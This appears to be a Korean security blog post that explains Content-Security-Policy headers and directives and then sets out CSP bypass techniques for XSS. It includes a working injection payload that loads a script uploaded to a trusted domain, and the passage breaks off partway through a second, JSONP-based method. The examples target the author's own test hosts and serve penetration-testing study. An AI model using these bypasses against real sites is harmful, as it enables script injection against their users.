CSP(Content-Security-Policy) Bypass technique
⚠️ CSP Bypassing에 대한 기술은 Cullinan > XSS > Bypass CSP에 한번에 정리하고 관리합니다. 해당 글이 훨씬 최신이니 참고 부탁드려요!
오늘은 XSS 시 항상 우리의 발목을 잡는 보안정책인 CSP에 대한 이야기를 하려고 합니다.
What is CSP?
CSP는 Content Security Policy의 약자로 웹 브라우저에서 사용하는 컨텐츠 기반의 보안 정책입니다. 쉽게 이야기하자면, 웹에서 사용하는 컨텐츠(이미지,스크립트 등등)에 대한 규칙 같으거라고 보시면됩니다. SOP(Same Origin Policy)와 유사하게 차단한다는 점에서 비슷하지만, CSP의 경우 웹 사이트가 직접 룰을 적용해서 사용하게 됩니다. 결국은 사이트 별 설정에 따라 의미없는 보안정책일수도 있다는 의미입니다.
우선 CSP로 사용되는 대표적으로 쓰이는 헤더들은 아래와 같습니다.
- Content-Security-Policy : W3C에서 지정한 표준헤더, 대체로 이걸 사용함
- X-Content-Security-Policy : Firefox/IE 구형 브라우저에서 사용되는 헤더
- X-WebKit-CSP : Chrome 기반의 구형 브라우저에서 사용되는 헤더
이중에서 현재까지 쭉 사용되는 헤더는 Content-Security-Policy 헤더이고, 나머지는 약간 구 시대의 유물같은 존재입니다. 모질라 개발자 사이트에 예시들을 보면 이렇습니다.
하위 도메인의 리소스만만 사용할 수 있게
Content-Security-Policy: default-src 'self'
특정 도메인만 신뢰
Content-Security-Policy: default-src 'self' *.mydomain.com
특정 태그 계열만 허용
Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *
특정 도메인만 무조건 SSL 통신하도록
Content-Security-Policy: default-src https://onlinebanking.jumbobank.com
Content-Seuciryt-Policy 헤더 내용으로 해당 웹 사이트에서 사용 가능한 CSP 정책에 대해 브라우저에게 전달해주고, 브라우저는 이를 기반으로 웹 페이지 렌더링/처리를 수행하게 됩니다.
헤더에서 사용되는 속성과 값에 대해 좀 더 정리해보면 이렇습니다.
- default-src : 모든 리소스에 대한 정책(아래 것들 다 포함)
- script-src : Javascript 등 웹에서 실행 가능한 스크립트에 대한 정책
- object-src : 플러그인, 오브젝트에 대한 정책
- style-src : style, 즉 css에 대한 정책
- img-src : 이미지
- media-src : video, audio
- frame-src : iframe, X-Frame 헤더랑은 비슷한 역할을 하지만, 약간 다르죠.
- font-src : font
- connect-src : script src로 불러올 수 있는 url에 대한 정책
- form-action : form 태그 내 action 부분에 대한 정책
- sandbox : HTML 샌드박스
- script-nonce : 위에 script-src + 아래쪽에 none 이 포함되는 정책, 약간 강한..
- plugin-types : 로드할 수 있는 플러그인 타입, 위에 object-src와 접점
- reflected-xss : X-XSS-Protection header와 동일한 효과, 실제로 이게 적용된 사이트는 아직 본적이 없네요..ㅋㅋ
- report-uri : 정책 위반 케이스가 나타났을 때 내용을 전달할 URL
속성에 매핑도는 값은 4가지 정도 있습니다.
- 'none'은 예상할 수 있듯이 아무것과도 일치하지 않습니다.
- 'self' 는 현재 출처와 일치하지만 하위 도메인은 일치하지 않습니다.
- 'unsafe-inline'은 인라인 자바스크립트 및 CSS를 허용합니다.
- 'unsafe-eval'은 eval 같은 텍스트-자바스크립트 메커니즘을 허용합니다.
그래서 만약 CSP가 이렇게 설정되어 있다고 한다면,
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com
전체 리소스(default-src)에 대해 abcd.hahwul.com에 대한 도메인만 신뢰(self로 인해 정확하게 체크)하게 됩니다.
실제로 테스트해보면..
GET /csp.php?q=alert(45) HTTP/1.1
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com
<script>alert(45)</script>
script의 출처가 abcd.hahwul.com이 아니기(저 케이스는 inline) 때문에 차단당합니다.
Content Security Policy: 페이지 설정으로 인해 자원 읽기 차단: inline ("default-src").
CSP가 안들어간 사이트가 아직 굉장히 많긴 하지만, 간혹 만나게 도면 솔직히 골치아프긴 합니다. 그래서, 우회하는 케이스들 몇가지 정리해봅시다. (전 제 블로그 참고용으로 많이 쓰기 떄문에... 컨닝 페이퍼 같은 느낌ㅋㅋ)
Bypass technique 1 - 신뢰 도메인에 source 업로드 후 로드
우선 CSP는 js,css 등 리소스들이 사용될 수 있는 구간(원격지, 로컬 등등)을 제한하는 헤더이고 결국 이 정책에 따라 우회방법이 달라지고 더 많아질겁니다. (여기있는게 전부가 아닙니다. 상황에 따라서 엄청나게 많은 케이스가 있을거에요)
다만, 공통적으로 적용 가능한 부분이 CSP로 허용된 도메인에서 스크립트를 불러와 실행하는 경우입니다. 보통 CSP 헤더를 보면 많은 도메인들이 예외되어 있습니다. 그 중 cdn이나 파일을 올릴 수 있는 도메인들이 존재하는데, 스크립트를 담은 파일을 업로드한 후 땡겨서 사용하는 경우 우회가 가능합니다.
아까 위에서 테스트했던 요청으로 다시 보면..
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com
abcd.hahwul.com의 스크립트만 신뢰하기 때문에 abcd.hahwul.com에 js,txt 등 그냥 raw data가 올라갈 수 있는 파일만 올린 후 땡겨서 우회할 수 있습니다. 이 때 하나 아셔야할 부분은 어차피 script src 형태로 땡겨오게 되면, 해당 파일이 .js 인지, .html 인지 상관없다는 점입니다.
그래서 예를들어 아래와 같은 파일을 abcd.hahwul.com 으로 업로드 할 수 있다면 CSP에 대해 우회가 가능해집니다.
xss.txt
alert(document.location)
XSS Query
http://vaha.hahwul.com/test/csp.php?q=</script><script src="http://abcd.hahwul.com/test/xss.txt"></script>
Response
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com
<script></script><script src="http://abcd.hahwul.com/test/xss.txt"></script>
Bypass technique 2 - 신뢰 도메인의 json, jsonp callback을 이용
눈치 빠른분이면 1번 보고 이 방법도 바로 생각 나셨을 것 같네요. 위에서 이야기드린 대로 Content-Type은 중요하지 않기 때문에 어떤 형태로든 파일이 올라가면 된다고 했습니다. 정확히는 스크립트를 담은 response가 필요했던거죠.
JSON 형태의 요청(ajax, xmlhttprequest 등)은 요청 url과 return 값에 callback function 남겨줍니다. 이는 callback 데이터가 들어갈 function을 지정하는건데, 이때 발생하는 response 또한 text 이고